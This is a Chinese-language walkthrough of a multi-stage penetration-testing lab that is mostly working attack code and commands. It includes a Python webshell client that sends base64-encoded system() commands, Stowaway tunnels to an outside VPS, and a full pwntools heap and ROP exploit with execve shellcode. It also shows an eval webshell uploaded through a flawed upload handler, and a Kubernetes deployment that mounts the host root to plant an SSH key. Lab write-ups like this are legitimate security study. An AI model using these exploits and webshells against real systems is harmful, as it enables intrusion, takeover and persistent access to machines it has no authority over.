碎碎念:说起来这个靶场貌似去年是在现场打的。但是当时好像没做出来什么东西。
公网 flag1
先扫吧。
三个端口,80/8080/22。
22不能打,应该是后面连上去改密码。
但是function被禁用了,可以走antsword,绕过。
传个马先
传上去了,但是半天都连不上,于是自己写了一坨,先用吧。进去之后是www-data权限。
import requests as r
from base64 import b64encode
from urllib.parse import quote
while True:
cmd = "system(base64_decode(\"" + b64encode(input("cmd> ").encode()).decode() +"\"));"
print(cmd)
cmd = b64encode(cmd.encode()).decode()
resp = r.post("http://8.130.145.86:8080/bak.php", data={"a": cmd})
print(resp.text)
print(resp.status_code) 能拿到第一个flag,在/下。
可以选择传fscan或者先配个转发。
配转发
使用Stowaway
vps: ./linux_x64_admin -l 11452 -s 11452
第一台:(出网的机子不就是这么用的吗)
然后./linux_x64_agent -s 11452 -c vps:11452 --reconnect 8
然后有shell了。同样,可以下载一个fscan。
继续扫,扫到两个存活:
172.28.23.26
172.28.23.33 socks转发一个代理。
172.28.23.33
嗯…是经典的heapdump泄露。拿出来看看,有shiro key。 一把梭了。上马,进去看看,发现里面有个pwn。(不会pwn真是抱歉.jpg,用了个脚本)
from pwn import *
elf = ELF('./HashNote')
context(arch=elf.arch, os='linux', log_level='debug')
# p = process('./HashNote')
p = remote('172.28.23.33', 59696)
def send_command(command):
p.sendlineafter(b': ', str(command))
def add_entry(key, value):
send_command(1)
p.sendlineafter(b'Key: ', key)
p.sendlineafter(b'Data: ', value)
def get_entry(key):
send_command(2)
p.sendlineafter(b'Key: ', key)
def update_entry(key, value):
send_command(3)
p.sendlineafter(b'Key: ', key)
p.sendlineafter(b'Data: ', value)
def set_username(value):
send_command(4)
p.sendafter(b'New username: ', value)
# Authenticate
p.sendlineafter(b'Username: ', b'123')
p.sendlineafter(b'Password: ', b'freep@ssw0rd:3')
# Add entries to setup the environment
add_entry(b'aabP', b'aaaaaaaa')
add_entry(b'aace', b'C' * 0xc0)
# Shellcode to spawn a shell
sc = [
b'\x6a\x3b', # push 0x3b
b'\x58', # pop rax
b'\x99', # cdq
b'\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68', # movabs rbx, 0x68732f6e69622f2f
b'\x53', # push rbx
b'\x48\x89\xe7', # mov rdi, rsp
b'\x52', # push rdx
b'\x57', # push rdi
b'\x48\x89\xe6', # mov rsi, rsp
b'\x0f\x05' # syscall
]
shellcode = b''.join(sc)
username_addr = 0x5dc980
fake_obj_addr = username_addr + 0x10
def arbitrary_read(addr):
payload = p64(fake_obj_addr)
payload += p64(0xdeadbeef)
fake_obj = p64(fake_obj_addr + 0x10) + p64(4)
fake_obj += b'aahO'.ljust(0x10, b'\x00')
fake_obj += p64(addr) + p64(8) + b'aaaaaaaa'
payload += fake_obj
payload += shellcode
payload = payload.ljust(128, b'\x00')
set_username(payload)
get_entry(b'aahO')
def arbitrary_write(addr, data):
payload = p64(fake_obj_addr)
payload += p64(0xdeadbeef)
fake_obj = p64(fake_obj_addr + 0x10) + p64(4)
fake_obj += b'aahO'.ljust(0x10, b'\x00')
fake_obj += p64(addr) + p64(len(data)) + b'aaaaaaaa'
payload += fake_obj
payload += shellcode
payload = payload.ljust(128, b'\x00')
set_username(payload)
update_entry(b'aahO', data)
# Leak the stack address
environ = 0x5e4c38
arbitrary_read(environ)
stack_addr = u64((p.recvuntil(b'\x7f', drop=False)[-6:].ljust(8, b'\0')))
success('stack_addr', stack_addr)
# ROP gadgets
rdi = 0x0000000000405e7c
rsi = 0x000000000040974f
rax = 0x00000000004206ba
rdx_rbx = 0x000000000053514b
shr_eax_2 = 0x0000000000523f2e
syscall_ret = 0x00000000004d9776
# ROP payload to map memory and jump to shellcode
payload = p64(rdi) + p64(username_addr & ~0xfff) + p64(rsi) + p64(0x1000) + p64(rdx_rbx) + p64(7) + p64(0) + p64(rax) + p64(0xa << 2) + p64(shr_eax_2) + p64(syscall_ret) + p64(username_addr + 0x48)
arbitrary_write(stack_addr - 0x210, payload)
p.sendline(b'uname -ar')
p.interactive() 嗯里面没有内网了,只有个flag3,拿了走人。
172.28.23.26
扫一下
emm那就打这个oa,ftp进去发现泄露源码。审一下
呃,图一乐
<?php
function islogin(){
if(isset($_COOKIE['id'])&&isset($_COOKIE['loginname'])&&isset($_COOKIE['jueseid'])&&isset($_COOKIE['danweiid'])&&isset($_COOKIE['quanxian'])){
if($_COOKIE['id']!=''&&$_COOKIE['loginname']!=''&&$_COOKIE['jueseid']!=''&&$_COOKIE['danweiid']!=''&&$_COOKIE['quanxian']!=''){
return true;
}
else {
return false;
}
}
else {
return false;
}
}
?> 然后upload的逻辑也有问题,
<?php
/**
* Description: PhpStorm.
* Author: yoby
* DateTime: 2018/12/4 18:01
* Email:[email protected]
* Copyright Yoby版权所有
*/
$img = $_POST['imgbase64'];
if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $img, $result)) {
$type = ".".$result[2];
$path = "upload/" . date("Y-m-d") . "-" . uniqid() . $type;
}
$img = base64_decode(str_replace($result[1], '', $img));
@file_put_contents($path, $img);
exit('{"src":"'.$path.'"}'); 于是直接上传一个:
imgbase64=data:image/php;base64, PD9waHAgQGV2YWwoJF9HRVRbMV0pOyA/Pg== 然后连上antsword,同样是disable_function,本题可以通过LD_PRELOAD绕过。
于是又可以用刚刚写的妙妙脚本拿来当shell了
import requests as r
from base64 import b64encode
from urllib.parse import quote
while True:
cmd = "system(base64_decode(\"" + b64encode(input("cmd> ").encode()).decode() +"\"));"
print(cmd)
# cmd = b64encode(cmd.encode()).decode()
# resp = r.post("http://8.130.145.86:8080/bak.php", data={"a": cmd})
resp = r.get("http://172.28.23.26/upload/.antproxy.php?1="+quote(cmd), proxies={
"http": "socks5://vps:7878"
})
print(resp.text)
print(resp.status_code) 搜一下suid有base32,拿flag2
这次是走之前的那台机子上代理下载(((。那台上开一个python,然后下载到这边来。
公网跳板机:
内网机器:./linux_x64_agent -c 172.28.23.17:11452 -s 11452
然后扫一扫:
harbor:
未授权cve
另一个是project/projectadmin。
密码直接硬编码到包里导致的。于是MDUT一把梭。
k8s
最后是一个k8s api未授权。
看了下似乎和docker是一样的做法。把文件系统挂载到容器里,然后直接写
apiVersion: apps/v1
kind: Deployment
metadata:
name: nginx-deployment
labels:
app: nginx
spec:
replicas: 1
selector:
matchLabels:
app: nginx
template:
metadata:
labels:
app: nginx
spec:
containers:
- name: nginx
image: nginx:1.8
volumeMounts:
- mountPath: /mnt
name: test-volume
volumes:
- name: test-volume
hostPath:
path: / HTTPS_PROXY=socks5://vps:7878 kubectl --insecure-skip-tls-verify -s https://172.22.14.37:6443/ apply -f 1.yaml
HTTPS_PROXY=socks5://vps:7878 kubectl --insecure-skip-tls-verify -s https://172.22.14.37:6443/ get pods
HTTPS_PROXY=socks5://vps:7878 kubectl --insecure-skip-tls-verify -s https://172.22.14.37:6443/ exec -it nginx-deployment-864f8bfd6f-b9xhg /bin/bash
echo "ssh- ..... " > /mnt/root/.ssh/authorized_keys ssh -o ProxyCommand='nc -X 5 -x vps:7878 %h %p' root@172.22.14.37